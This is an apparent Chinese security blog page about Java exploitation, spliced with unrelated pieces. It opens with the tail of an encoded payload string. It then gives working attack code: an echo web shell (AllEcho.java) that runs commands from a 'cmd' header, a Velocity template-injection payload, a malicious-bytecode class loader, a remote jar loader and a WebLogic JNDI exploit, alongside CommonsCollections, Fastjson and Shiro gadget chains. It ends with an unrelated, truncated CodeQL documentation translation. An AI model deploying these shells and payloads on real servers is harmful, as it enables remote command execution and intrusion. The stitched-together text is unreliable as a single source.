$j$b3$c7$bb$pZm$ab$d7$b4$9d$D$y$x$T$c4$e7$fau$9b$ebXMV$9fi$d7$eb$e2j$Z$eb$f9$ebD$rc$9c$c6z$k$W$b5$yf$98$ae$ef$K$fe$b7$d7$96$889$RQ$e7Uqc$8dNBc$b8$a6$96$c5$3dk$ee7$N$be$3a$s$d0$95V$89JQ$3bFRjQ$c2$qJj$8c$f5$s$I2$e2$84$8e$u$i$95$c6$d4M$db$e0$f1$f2$d2$8c$h$Z$a4$f3$ce$d5$Sqs$8d$Z$8d$f4xy$7f$T$r$d3$8b$81$b0$wf$ee$e7$8d$p$bb$c8$8f$c6nx$H$a4I$I$ec$8a$s$e2$bc$ea$CF$d4$S$ce$_$a0$rk$d2$af6Z7$a3$b4$ecfI$9c$c7$8b$d5$ab$a3$R$f7$89$e3$_$dd$s8$fb$c8$e9$G$M$dc$MM2$d3$c4$b6$f5$D$ee$b3$8a$B$cd$e3$f1p$82H2$bc$e4$K$89$3cc$ee$d1$ae1$F$a1h$7c$d2$a5$5e$80$98$c5gh1$9f$e52$UqCB$c2Z$ce$b2$d0$c09$_K$8e$Vq$ff$b9$fd$86T$cf$db$c3$edy$df$ba$7d$ab$db$Hx$96$d70$db0gI$f2$c8b$bf$bc$fc$i$qi$IY$fc$7c$X$e0$dfz$O$81$nd$PB$O$wI$e4$MA$V$c3$5cw$a8$N$40iZ$90$c4$a4aL$f6$N$p$ff$yyMC$F$l$d4y$f0$a1$9d$dc$aa$90$cbv2$9f$fc$F$94$h$84$86$v$a4$I$d1$KAWD$caB$y$e4$83$7d$JJP$8b$Z$d8D$eai$d4c$nOl$c6$W$f2$a3F$b8$H$5b$d9o$e3$97$8f$ac$e7yH$92$b1$5d4$3b$fcP$c5$dd$cb$Ta$97$o$cb$3dQ$5c$3e$82$bcAd$97$tQp$M$B$ff$Zo$i$dc$e2$3b$c3$5dO$b3$m$r$A$b7a$S$ffS$e4c$Ou$98$ebJ$d7$3c$Ox$b9$eb$p$n$d3$8f$acI$Sv$K$8fI$5c$GE$f2$o$f1Df$3d$82l$c1H$aa$y$c9_r$g$93$H$915$o$3c$e4$h$81$ffl$f90$a6$i$97B$5c$bb$8c$87$G$a1R$85$a9I$84$8e$e1$409$fd$cb$85$e04$ffS$u$dc$ea$LN$P$tQT$ceI1$t$r$9c$cc$b8$84$e9C$b8e$Q$b7$5c$86$w$a21$802$f2$n$83$e0$ad$3e$9e$nys$F$X8$$$s5C$c5P4$7b$84$8b$9b$x$92$985$80r$d1$cf$Z$c0l$d1$cf$h$401$d5$ba$8c$a9$83$d0$ae$x$oS$R$9f$abs$b7$absG$f0$f6a$ccO$a24X$96D$f91$u$c1$F$D$I$E$x$9ay$uX$99$SL$ca$94$d8K$a8j$a9$bc$80$ea$ad$c3XHU$93X$94$c4$e2$8asxQpI$Sw$q$b14$89$3b$x$93$b8$8b$df$b2$B$f8$9b$cf$96$97$f8w$ba8$J$a0$D$P$e0$m$fd$bf$I$P$e3Q$c6$40$f4G$f8$bfN$f4$t$Y$8b$Ri$a64$87$fb$5e$b4$k$e7$K0$9fQ$x$r$82$ca$Z$9f$F$a8$q$82$W$R$M$9b$88$96$ed$iu$e0$O$d8XJ$be$b5$e4$7c$t$fa$b1$8c$bc$ea$c9$fdn$i$c2$K$3c$c6$f1$R$ac$c4Q$ac$c2$T$i$9f$40$jN2$9b$9e$e4$f84$b3$u$c9$i$3a$cf$8c$Za$be$5ca$c6$5cE$8b4$9d$8f$d3$Zh$95f$oLm$da$a4$b9h$97$e6a$8bTAD$K$b4$ec$40$OeN$a2l$83$80$e8wQ$db$c9$d1$nwdrt$d4$j$ed$e2$e8$a4$3b$ea$e2$e8$K$a5vSB$We$94$o$82$dd$b4$92$Q$c2$k$Xsb$UE$Pq$u$d0W$8a$fc$m$fe$85$96$9d2b$fe$d52$acu2z$f9$ed$95$a7$cd$ac$93a$3f$87$b5$dc$Ba$u$Q$9a$93E$s$e0q$81$d2$f8$uJ$a5$7b$d8k$5c$eb$X$91$Xp$a8i$a9$bc$b8$d4$ef$5b$g$I$FB$feS0$xC$81$c55$d9E$d9$fe$qj$a5$g$b9H$a4$cbr$f6$b2$8b$94$bb$8fC$x$92K$86$b1b$A$d5E$f2$r$ac$e4$afF$vR$$$$$cd$f1$zUCj$u$e7$U$a6$V$v$nuqMnQ$ae$m$ecW$a5$81$e7$9f$rxj$94$fe$A$87$c7$vt$d5$d6$e6$cb$cf$3f$u$8a$c4$7cXt$dbhpW3$B$85$x$DL$e4$5b$99asi$ca$7c$ba$b4$9a$ae$ac$a1$T$eb$e94$83$O$8b$b0$b7h$abM$e78$a4$bd$X$7bq$lg$H9$T$c1XA$t$Y$fc$i$ba1$97$i$9a$5d$87$ca$e4$b9$Z$J$ec$e3$O$3d$80$3e$cf$c9$iyN$O$e0$7e$ecg$d8$b3$5cwWA$f97$C2$O$5cC$ae$8c$7b$r$e9$3fX$q$e3$3e$Z$af$b8$86$C$Z$x$r$e9$w$8a$Y$86$d8$3f$c1Q$60$d4$e9$7d$v$a7$xx$e5$f5$8a$3a$db$ad$q$M$E$abc$SuC$90$cf$8a$e0$ba$sg$bb$7b$K$dbW$b9$d5$fb$fe$ff$Ctz$ebem$R$A$A"
            }
        } : "xxx"
    }
}

AllEcho.java 对于其他的中间件的兼容效果比较好。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113

public class AllEcho {

    static java.util.HashSet<Object> h;
    static ClassLoader cl = java.lang.Thread.currentThread().getContextClassLoader();
    static Class hsr;//HTTPServletRequest.class
    static Class hsp;//HTTPServletResponse.class
    static String cmd;
    static Object r;
    static Object p;

    public AllEcho() {

        r = null;
        p = null;
        h =new java.util.HashSet<Object>();
        try {
            hsr = cl.loadClass("javax.servlet.http.HttpServletRequest");
            hsp = cl.loadClass("javax.servlet.http.HttpServletResponse");
        } catch (ClassNotFoundException e) {
            e.printStackTrace();
        }

        F(java.lang.Thread.currentThread(),0);
    }

    private static boolean i(Object obj){
        if(obj==null|| h.contains(obj)){
            return true;
        }

        h.add(obj);
        return false;
    }
    private static void p(Object o, int depth){
        if(depth > 52||(r !=null&& p !=null)){
            return;
        }
        if(!i(o)){
            if(r ==null&&hsr.isAssignableFrom(o.getClass())){
                r = o;
                //Tomcat特殊处理
                try {
                    cmd = (String)hsr.getMethod("getHeader",new Class[]{String.class}).invoke(o,"cmd");
                    if(cmd==null) {
                        r = null;
                    }else{
                        //System.out.println("find Request");
                        try {
                            java.lang.reflect.Method getResponse = r.getClass().getMethod("getResponse");
                            p = getResponse.invoke(r);
                        } catch (Exception e) {
                            //System.out.println("getResponse Error");
                            r=null;
                            //e.printStackTrace();
                        }
                    }
                } catch (IllegalAccessException e) {
                    e.printStackTrace();
                } catch (java.lang.reflect.InvocationTargetException e) {
                    e.printStackTrace();
                } catch (NoSuchMethodException e) {
                    e.printStackTrace();
                }

            }else if(p ==null&&hsp.isAssignableFrom(o.getClass())){
                p =  o;


            }
            if(r !=null&& p !=null){
                try {
                    String charsetName = System.getProperty("os.name").toLowerCase().contains("window") ? "GBK":"UTF-8";
                    java.io.PrintWriter pw =  (java.io.PrintWriter)hsp.getMethod("getWriter").invoke(p);
                    pw.println(new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream(),charsetName).useDelimiter("\\A").next());
                    pw.flush();
                    pw.close();
                    //p.addHeader("out",new Scanner(Runtime.getRuntime().exec(r.getHeader("cmd")).getInputStream()).useDelimiter("\\A").next());
                }catch (Exception e){
                }
                return;
            }

            F(o,depth+1);
        }
    }
    private static void F(Object start, int depth){

        Class n=start.getClass();
        do{
            for (java.lang.reflect.Field declaredField : n.getDeclaredFields()) {
                declaredField.setAccessible(true);
                Object o = null;
                try{
                    o = declaredField.get(start);

                    if(!o.getClass().isArray()){
                        p(o,depth);
                    }else{
                        for (Object q : (Object[]) o) {
                            p(q, depth);
                        }

                    }

                }catch (Exception e){
                }
            }

        }while(
                (n = n.getSuperclass())!=null
        );
    }
}

参考

https://github.com/depycode/fastjson-local-echo

   这篇文章是一遍概述，浓缩性的文章，大致内容是将我研究的内容，回归总结。将分析文章总一个压缩在压缩性质的总结。尽可能保证用最简单话写最多的内容，都是自己的理解，如有错误还请谅解。所有的具体分析文章都在博客中，博客地址：https://summersec.github.io

SSTI 服务端模板注入

   服务端模板注入漏洞普遍存在于使用某种模板引擎模板解析（翻译）和数据渲染，目的是渲染或者解析页面速度更快，更加便捷。
   下面是Velocity模板引擎的SSTI漏洞Payload，很容易就发现Payload使用Java反射的知识。Velocity模板引擎语法加上Java反射配合，使用SSTI漏洞变成了可能。其实绝大多数情况下基本上SSTI服务端模板注入形成原因都是这样子，==模板语法+Java反射==。当然有些模板引擎会禁用底层JDK某些方法，当然Bypass就可以使用Java反射调用被禁用的某些底层类。

1
2
3
4
5
6
7
8
9

q=1&&wt=velocity&v.template=custom&v.template.custom=#set($x='') 
#set($rt=$x.class.forName('java.lang.Runtime')) 
#set($chr=$x.class.forName('java.lang.Character')) 
#set($str=$x.class.forName('java.lang.String')) 
#set($ex=$rt.getRuntime().exec('calc'))
$ex.waitFor() 
#set($out=$ex.getInputStream())
#foreach($i in [1..$out.available()])
$str.valueOf($chr.toChars($out.read()))#end

CommonsCollections反序列化

   目前commons-collections的反序列化漏洞主要以3和4(版本)为主流，3和4的利用方式也不同，Gadget链也不相同。

CommonsCollections3

   BadAttributeValueExpException这个类是javax.management报下的一个异常处理类，是jdk自带的，无需依赖第三方。它继承了Serializable接口满足反序列化漏洞的条件，它只有一个值权限是private不可直接修改，但利用反射机制修改其权限来到达触发反序列化漏洞的目的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16

Gadget chain:
       ObjectInputStream.readObject()
           BadAttributeValueExpException.readObject()
               TiedMapEntry.toString()
                   LazyMap.get()
                       ChainedTransformer.transform()
                           ConstantTransformer.transform()
                           InvokerTransformer.transform()
                               Method.invoke()
                                   Class.getMethod()
                           InvokerTransformer.transform()
                               Method.invoke()
                                   Runtime.getRuntime()
                           InvokerTransformer.transform()
                               Method.invoke()
                                   Runtime.exec()

   下面一张图很完美解释了Transformer数组的功能，其实本质还是Java反射调用。

CommonsCollections4

   PriorityQueue原本只是个优先队列，TemplatesImpl原本只是在xalan中的处理xml的模板实现，二者相互结合。先将恶意字节码通过修改字节码方式植入TemplatesImpl类中，然后用PriorityQueue类比较特性触发漏洞。

1
2
3
4
5
6
7
8
9
10
11

Gadget chain:
    ObjectInputStream.readObject()
        PriorityQueue.readObject()
            ...
                TransformingComparator.compare()
                    InvokerTransformer.transform()
                        Method.invoke()
                            TemplatesImpl.newTransformer()
                                TemplatesImpl.getTransletInstance()
                                    TemplatesImpl.defineTransletClasses()
                                        Runtime.exec()

反序列化回显

defineclass异常回显

   defineclass是java.lang.ClassLoader类下的一个类方法，将字节码转化为Class类。使用该类加载生成恶意的类字节码，恶意类里面包含着一个恶意命令然后使用异常回显出命令执行的结果。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32

// 加载恶意类字节码
public class demo2 extends ClassLoader {
    // Summer类名
    private static String testClassName = "summer.classload.Summer";
    // Summer.class类字节码
    private static byte[] testClassBytes = new byte[]{
            -54, -2, -70, -66, 0, 0, 0, 52, 0, 96, 10, 0, 24, 0, 53, 7, 0, 54, 7, 0, 55, 8, 0, 56, 8, 0, 57, 10, 0, 2, 0, 58, 10, 0, 2, 0, 59, 10, 0, 60, 0, 61, 7, 0, 62, 8, 0, 63, 10, 0, 64, 0, 65, 10, 0, 9, 0, 66, 7, 0, 67, 10, 0, 13, 0, 68, 7, 0, 69, 10, 0, 15, 0, 53, 10, 0, 13, 0, 70, 10, 0, 15, 0, 71, 8, 0, 72, 7, 0, 73, 10, 0, 15, 0, 74, 10, 0, 20, 0, 75, 7, 0, 76, 7, 0, 77, 1, 0, 6, 60, 105, 110, 105, 116, 62, 1, 0, 21, 40, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 41, 86, 1, 0, 4, 67, 111, 100, 101, 1, 0, 15, 76, 105, 110, 101, 78, 117, 109, 98, 101, 114, 84, 97, 98, 108, 101, 1, 0, 18, 76, 111, 99, 97, 108, 86, 97, 114, 105, 97, 98, 108, 101, 84, 97, 98, 108, 101, 1, 0, 4, 116, 104, 105, 115, 1, 0, 25, 76, 115, 117, 109, 109, 101, 114, 47, 99, 108, 97, 115, 115, 108, 111, 97, 100, 47, 83, 117, 109, 109, 101, 114, 59, 1, 0, 3, 99, 109, 100, 1, 0, 18, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 1, 0, 6, 115, 116, 114, 101, 97, 109, 1, 0, 21, 76, 106, 97, 118, 97, 47, 105, 111, 47, 73, 110, 112, 117, 116, 83, 116, 114, 101, 97, 109, 59, 1, 0, 12, 115, 116, 114, 101, 97, 109, 82, 101, 97, 100, 101, 114, 1, 0, 27, 76, 106, 97, 118, 97, 47, 105, 111, 47, 73, 110, 112, 117, 116, 83, 116, 114, 101, 97, 109, 82, 101, 97, 100, 101, 114, 59, 1, 0, 14, 98, 117, 102, 102, 101, 114, 101, 100, 82, 101, 97, 100, 101, 114, 1, 0, 24, 76, 106, 97, 118, 97, 47, 105, 111, 47, 66, 117, 102, 102, 101, 114, 101, 100, 82, 101, 97, 100, 101, 114, 59, 1, 0, 6, 98, 117, 102, 102, 101, 114, 1, 0, 24, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 66, 117, 102, 102, 101, 114, 59, 1, 0, 4, 108, 105, 110, 101, 1, 0, 13, 83, 116, 97, 99, 107, 77, 97, 112, 84, 97, 98, 108, 101, 7, 0, 76, 7, 0, 55, 7, 0, 78, 7, 0, 62, 7, 0, 67, 7, 0, 69, 1, 0, 10, 69, 120, 99, 101, 112, 116, 105, 111, 110, 115, 1, 0, 10, 83, 111, 117, 114, 99, 101, 70, 105, 108, 101, 1, 0, 11, 83, 117, 109, 109, 101, 114, 46, 106, 97, 118, 97, 12, 0, 25, 0, 79, 1, 0, 24, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 80, 114, 111, 99, 101, 115, 115, 66, 117, 105, 108, 100, 101, 114, 1, 0, 16, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 1, 0, 7, 99, 109, 100, 46, 101, 120, 101, 1, 0, 2, 47, 99, 12, 0, 25, 0, 80, 12, 0, 81, 0, 82, 7, 0, 83, 12, 0, 84, 0, 85, 1, 0, 25, 106, 97, 118, 97, 47, 105, 111, 47, 73, 110, 112, 117, 116, 83, 116, 114, 101, 97, 109, 82, 101, 97, 100, 101, 114, 1, 0, 3, 103, 98, 107, 7, 0, 86, 12, 0, 87, 0, 88, 12, 0, 25, 0, 89, 1, 0, 22, 106, 97, 118, 97, 47, 105, 111, 47, 66, 117, 102, 102, 101, 114, 101, 100, 82, 101, 97, 100, 101, 114, 12, 0, 25, 0, 90, 1, 0, 22, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 66, 117, 102, 102, 101, 114, 12, 0, 91, 0, 92, 12, 0, 93, 0, 94, 1, 0, 1, 10, 1, 0, 19, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 69, 120, 99, 101, 112, 116, 105, 111, 110, 12, 0, 95, 0, 92, 12, 0, 25, 0, 26, 1, 0, 23, 115, 117, 109, 109, 101, 114, 47, 99, 108, 97, 115, 115, 108, 111, 97, 100, 47, 83, 117, 109, 109, 101, 114, 1, 0, 16, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 79, 98, 106, 101, 99, 116, 1, 0, 19, 106, 97, 118, 97, 47, 105, 111, 47, 73, 110, 112, 117, 116, 83, 116, 114, 101, 97, 109, 1, 0, 3, 40, 41, 86, 1, 0, 22, 40, 91, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 41, 86, 1, 0, 5, 115, 116, 97, 114, 116, 1, 0, 21, 40, 41, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 80, 114, 111, 99, 101, 115, 115, 59, 1, 0, 17, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 80, 114, 111, 99, 101, 115, 115, 1, 0, 14, 103, 101, 116, 73, 110, 112, 117, 116, 83, 116, 114, 101, 97, 109, 1, 0, 23, 40, 41, 76, 106, 97, 118, 97, 47, 105, 111, 47, 73, 110, 112, 117, 116, 83, 116, 114, 101, 97, 109, 59, 1, 0, 24, 106, 97, 118, 97, 47, 110, 105, 111, 47, 99, 104, 97, 114, 115, 101, 116, 47, 67, 104, 97, 114, 115, 101, 116, 1, 0, 7, 102, 111, 114, 78, 97, 109, 101, 1, 0, 46, 40, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 41, 76, 106, 97, 118, 97, 47, 110, 105, 111, 47, 99, 104, 97, 114, 115, 101, 116, 47, 67, 104, 97, 114, 115, 101, 116, 59, 1, 0, 50, 40, 76, 106, 97, 118, 97, 47, 105, 111, 47, 73, 110, 112, 117, 116, 83, 116, 114, 101, 97, 109, 59, 76, 106, 97, 118, 97, 47, 110, 105, 111, 47, 99, 104, 97, 114, 115, 101, 116, 47, 67, 104, 97, 114, 115, 101, 116, 59, 41, 86, 1, 0, 19, 40, 76, 106, 97, 118, 97, 47, 105, 111, 47, 82, 101, 97, 100, 101, 114, 59, 41, 86, 1, 0, 8, 114, 101, 97, 100, 76, 105, 110, 101, 1, 0, 20, 40, 41, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 1, 0, 6, 97, 112, 112, 101, 110, 100, 1, 0, 44, 40, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 41, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 66, 117, 102, 102, 101, 114, 59, 1, 0, 8, 116, 111, 83, 116, 114, 105, 110, 103, 0, 33, 0, 23, 0, 24, 0, 0, 0, 0, 0, 1, 0, 1, 0, 25, 0, 26, 0, 2, 0, 27, 0, 0, 1, 27, 0, 6, 0, 7, 0, 0, 0, 112, 42, -73, 0, 1, -69, 0, 2, 89, 6, -67, 0, 3, 89, 3, 18, 4, 83, 89, 4, 18, 5, 83, 89, 5, 43, 83, -73, 0, 6, -74, 0, 7, -74, 0, 8, 77, -69, 0, 9, 89, 44, 18, 10, -72, 0, 11, -73, 0, 12, 78, -69, 0, 13, 89, 45, -73, 0, 14, 58, 4, -69, 0, 15, 89, -73, 0, 16, 58, 5, 1, 58, 6, 25, 4, -74, 0, 17, 89, 58, 6, -58, 0, 19, 25, 5, 25, 6, -74, 0, 18, 18, 19, -74, 0, 18, 87, -89, -1, -24, -69, 0, 20, 89, 25, 5, -74, 0, 21, -73, 0, 22, -65, 0, 0, 0, 3, 0, 28, 0, 0, 0, 38, 0, 9, 0, 0, 0, 7, 0, 4, 0, 8, 0, 36, 0, 9, 0, 50, 0, 10, 0, 60, 0, 11, 0, 69, 0, 12, 0, 72, 0, 14, 0, 83, 0, 15, 0, 99, 0, 18, 0, 29, 0, 0, 0, 72, 0, 7, 0, 0, 0, 112, 0, 30, 0, 31, 0, 0, 0, 0, 0, 112, 0, 32, 0, 33, 0, 1, 0, 36, 0, 76, 0, 34, 0, 35, 0, 2, 0, 50, 0, 62, 0, 36, 0, 37, 0, 3, 0, 60, 0, 52, 0, 38, 0, 39, 0, 4, 0, 69, 0, 43, 0, 40, 0, 41, 0, 5, 0, 72, 0, 40, 0, 42, 0, 33, 0, 6, 0, 43, 0, 0, 0, 31, 0, 2, -1, 0, 72, 0, 7, 7, 0, 44, 7, 0, 45, 7, 0, 46, 7, 0, 47, 7, 0, 48, 7, 0, 49, 7, 0, 45, 0, 0, 26, 0, 50, 0, 0, 0, 4, 0, 1, 0, 20, 0, 1, 0, 51, 0, 0, 0, 2, 0, 52,
    };
    @Override
    public Class<?> findClass(String name) throws ClassNotFoundException {
        // 只处理Summer类
        if (name.equals(testClassName)) {
            // 调用JVM的defineClass方法定义Summer类
            return defineClass(testClassName, testClassBytes, 0, testClassBytes.length);
        }
        return super.findClass(name);
    }

    public static void main(String[] args) {
        // 创建自定义的类加载器
        demo2 loader = new demo2();
        try {
            // 使用自定义的类加载器加载TestHelloWorld类
            Class testClass = loader.loadClass(testClassName);
            // 反射创建Summer类，等价于 Summer t = new Summer(‘ipconfig);
            testClass.getConstructor(String.class).newInstance("ipconfig");
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

}

1
2
3
4
5
6
7
8
9
10
11
12
13
14

// 恶意类 
public class Summer {
    public void Summer(String cmd) throws Exception {
        InputStream stream = (new ProcessBuilder(new String[]{"cmd.exe", "/c", cmd})).start().getInputStream();
        InputStreamReader streamReader = new InputStreamReader(stream, Charset.forName("gbk"));
        BufferedReader bufferedReader = new BufferedReader(streamReader);
        StringBuffer buffer = new StringBuffer();
        String line = null;
        while((line = bufferedReader.readLine()) != null) {
            buffer.append(line).append("\n");
        }
        throw new Exception(buffer.toString());
    }
}

URLClassLoader远程加载文件回显

   URLClassLoader是java.net下的类，继承了java.lang.Classloader类对象。URLClassLoader可以从远端或者本地加载jar/class文件。
实现代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14

public class demo {
    public static void main(String[] args) throws Exception {

        URL url = new URL("http://127.0.0.1:8090/summer.jar");
//        URL url = new URL("file:e:/summer.jar");

        URLClassLoader ucl = new URLClassLoader(new URL[]{url});
        Class cls = ucl.loadClass("Summer");
        Method m = cls.getMethod("Exec",String.class);
        m.invoke(cls.newInstance(),"ipconfig");


    }
}

具体实现步骤Java反序列化回显解决方案

Fastjson反序列化

   Fastjson在序列化的方法加入SerializerFeature.WriteClassName特征字段。序列化出来的结果会在开头加一个@type字段，值为进行序列化的类名。再将带有@type字段的序列化数据进行反序列化会得到对应的实例类对象。知道Fastjson这一特性，其他Fastjson反序列化细节部分就用下面两张图表示。
ps：这里这讨论最初的爆Fastjson反序列化漏洞

1
2
3
4
5
6
7
8
9
10
11
12

/**
 * Gadget chain:
 *      JSON.parse()
 *          DefaultJSONParser.parse()
 *              DefaultJSONParser.parseObject()
 *                  JavaBeanDeserializer.deserialze()
 *                      JavaBeanDeserializer.parseRest()
 *                          FieldDeserializer.setValue()
 *                              Reflect.invoke()
 *                                  JdbcRowSetImpl.setAutoCommit()
 *
 */

Shiro反序列化

   Shiro-550(Apache Shiro < 1.2.5)和Shiro-721( Apache Shiro < 1.4.2 )。这两个漏洞主要区别在于Shiro550使用已知密钥撞，后者Shiro721是使用登录后rememberMe={value}去爆破正确的key值进而反序列化，对比Shiro550条件只要有足够密钥库（条件比较低）、Shiro721需要登录（要求比较高鸡肋）。

• Apache Shiro < 1.4.2默认使用AES/CBC/PKCS5Padding模式
• Apache Shiro >= 1.4.2默认使用AES/GCM/PKCS5Padding模式
     简单来说流程就是将生成恶意Payload进行AES加密，然后Base64编码，然后以rememberMe={value}形式发送给服务器。服务器将valueBase64解码，然后将解码后数据进行AES解密，最后反序列化执行命令。

  1 2 3 4 5 6 7 8 9 10 11 12 13

  * Gadget chian: * DefaultSecurityManager.resolvePrincipals() * DefaultSecurityManager.getRememberedIdentity() * AbstractRememberMeManager.getRememberedPrincipals() * CookieRememberMeManager#getRememberedSerializedIdentity() * AbstractRememberMeManager#getRememberedPrincipals() * AbstractRememberMeManager.convertBytesToPrincipals() * AbstractRememberMeManager.decrypt() * AbstractRememberMeManager.deserialize() * ..................... * .......... * *

Weblogic IIOP2551–反序列化

   这个漏洞是Weblogic第一个IIOP协议反序列化漏洞，影响范围比较广。

1. payload使用com.bea.core.repackaged.springframework.transaction.jta.JtaTransactionManager，这是Spring framework 反序列化的漏洞其中之一。
2. 参数可控触发反序列化漏洞
3. 2551是第一个IIOP协议的反序列化漏洞，影响很大、范围很广。
4. GIOP 标志 47 49 4f 50

   1 2 3 4 5 6 7 8 9 10 11 12 13 14

   // payload public static void main(String[] args) throws Exception { String ip = "127.0.0.1"; String port = "7001"; Hashtable<String, String> env = new Hashtable<String, String>(); env.put("java.naming.factory.initial", "weblogic.jndi.WLInitialContextFactory"); env.put("java.naming.provider.url", String.format("iiop://%s:%s", ip, port)); Context context = new InitialContext(env); JtaTransactionManager jtaTransactionManager = new JtaTransactionManager(); jtaTransactionManager.setUserTransactionName("rmi://127.0.0.1:1099/Exploit"); Remote remote = Gadgets.createMemoitizedProxy(Gadgets.createMap("pwned", jtaTransactionManager), Remote.class); context.bind("hello", remote); }

1
2
3
4
5
6
7
8
9
10
11
12
13
14

/**
 *      Context.rebind()
 *          InitialContext.rebind()
 *              ContextImpl.rebind()
 *                  _NamingContextAnyStub.rebind_any()
 *                      ............
 *                          IIOPInputStream.read_value()
 *                              ValueHandlerImpl.readValue()
 *                                  ValueHandlerImpl.readValueData()
 *                                      JtaTransactionManager.readObject()
 *                                          JtaTransactionManager.initUserTransactionAndTransactionManager()
 *                                              JtaTransactionManager.lookupUserTransaction()
 *                                                  JndiTemplate.lookup()
 */

When you’re analyzing a Java program, you can make use of the large collection of classes in the CodeQL library for Java.

当你在分析一个Java程序时，你可以利用Java的CodeQL库中的大量类的集合。

About the CodeQL library for Java

There is an extensive library for analyzing CodeQL databases extracted from Java projects. The classes in this library present the data from a database in an object-oriented form and provide abstractions and predicates to help you with common analysis tasks.

有一个广泛的库用于分析从Java项目中提取的CodeQL数据库。该库中的类以面向对象的形式呈现数据库中的数据，并提供抽象和谓词来帮助你完成常见的分析任务。

The library is implemented as a set of QL modules, that is, files with the extension .qll. The module java.qll imports all the core Java library modules, so you can include the complete library by beginning your query with:

该库以一组QL模块的形式实现，也就是扩展名为.qll的文件。java.qll模块导入了所有的核心Java库模块，所以你可以通过以以下方式开始查询来包含完整的库。

1

import java

The rest of this article briefly summarizes the most important classes and predicates provided by this library.

本文其余部分简要总结了这个库提供的最重要的类和谓词。

Note

The example queries in this article illustrate the types of results returned by different library classes. The results themselves are not interesting but can be used as the basis for developing a more complex query. The other articles in this section of the help show how you can take a simple query and fine-tune it to find precisely the results you’re interested in.

本文的示例查询说明了不同库类返回的结果类型。这些结果本身并不有趣，但可以作为开发更复杂查询的基础。本节帮助中的其他文章展示了如何将一个简单的查询进行微调，以精确地找到你感兴趣的结果。

Summary of the library classes

The most important classes in the standard Java library can be grouped into five main categories:

标准Java库中最重要的类可以分为五大类。

1. Classes for representing program elements (such as classes and methods)

   代表程序元素的类（如类和方法）。

2. Classes for representing AST nodes (such as statements and expressions)

   用于表示AST节点（如语句和表达式）的类。

3. Classes for representing metadata (such as annotations and comments)

   用于表示元数据（如注释和评论）的类。

4. Classes for computing metrics (such as cyclomatic complexity and coupling)

   计算度量的类（如循环复杂度和耦合度

5. Classes for navigating the program’s call graph

   用于导航程序的调用图的类。

We will discuss each of these in turn, briefly describing the most important classes for each category.

我们将依次讨论这些内容，简要介绍每一类最重要的类别。

Program elements

These classes represent named program elements: packages (Package), compilation units (CompilationUnit), types (Type), methods (Method), constructors (Constructor), and variables (Variable).

这些类表示命名的程序元素：包（Package）、编译单元（CompilationUnit）、类型（Type）、方法（Method）、构造器（Constructor）和变量（Variable）。

Their common superclass is Element, which provides general member predicates for determining the name of a program element and checking whether two elements are nested inside each other.

它们共同的超类是Element，它提供了一般的成员谓词，用于确定程序元素的名称和检查两个元素内部是否相互嵌套。

It’s often convenient to refer to an element that might either be a method or a constructor; the class Callable, which is a common superclass of Method and Constructor, can be used for this purpose.

通常，引用一个可能是方法或构造函数的元素是很方便的；类Callable是Method和Constructor的共同超类，可以用于这个目的。

Types

Class Type has a number of subclasses for representing different kinds of types:

类Type有许多子类，用于表示不同种类的类型:

• PrimitiveType represents a primitive type, that is, one of boolean, byte, char, double, float, int, long, short; QL also classifies void and <nulltype> (the type of the null literal) as primitive types.

  PrimitiveType表示一个基元类型，即布尔、字节、char、double、float、int、long、short中的一种；QL还将void和（null文字的类型）归为基本类型。

• RefType represents a reference (that is, non-primitive) type; it in turn has several subclasses:

  代表一个引用（即非基本）类型；它又有几个子类：

  • Class represents a Java class. Class代表一个Java类。

• Interface represents a Java interface. Interface代表一个Java接口。

  • EnumType represents a Java enum type. EnumType代表一个Java枚举类型。

• Array represents a Java array type. Array代表一个Java数组类型。

For example, the following query finds all variables of type int in the program:

例如，下面的查询可以找到程序中所有类型为int的变量:

1
2
3
4
5
6

import java

from Variable v, PrimitiveType pt
where pt = v.getType() and
    pt.hasName("int")
select v

➤ See this in the query console on LGTM.com. You’re likely to get many results when you run this query because most projects contain many variables of type int.

在LGTM.com的查询控制台中可以看到。运行此查询时，很可能会得到许多结果，因为大多数项目都包含许多类型为int的变量。

Reference types are also categorized according to their declaration scope:

引用类型也根据其声明范围进行分类:

• TopLevelType represents a reference type declared at the top-level of a compilation unit.

  TopLevelType表示在编译单元的顶层声明的引用类型。

• NestedType is a type declared inside another type.

  NestedType是在另一个类型里面声明的类型。

For instance, this query finds all top-level types whose name is not the same as that of their compilation unit:

例如，这个查询可以找到所有名称与其编译单元名称不同的顶层类型:

1
2
3
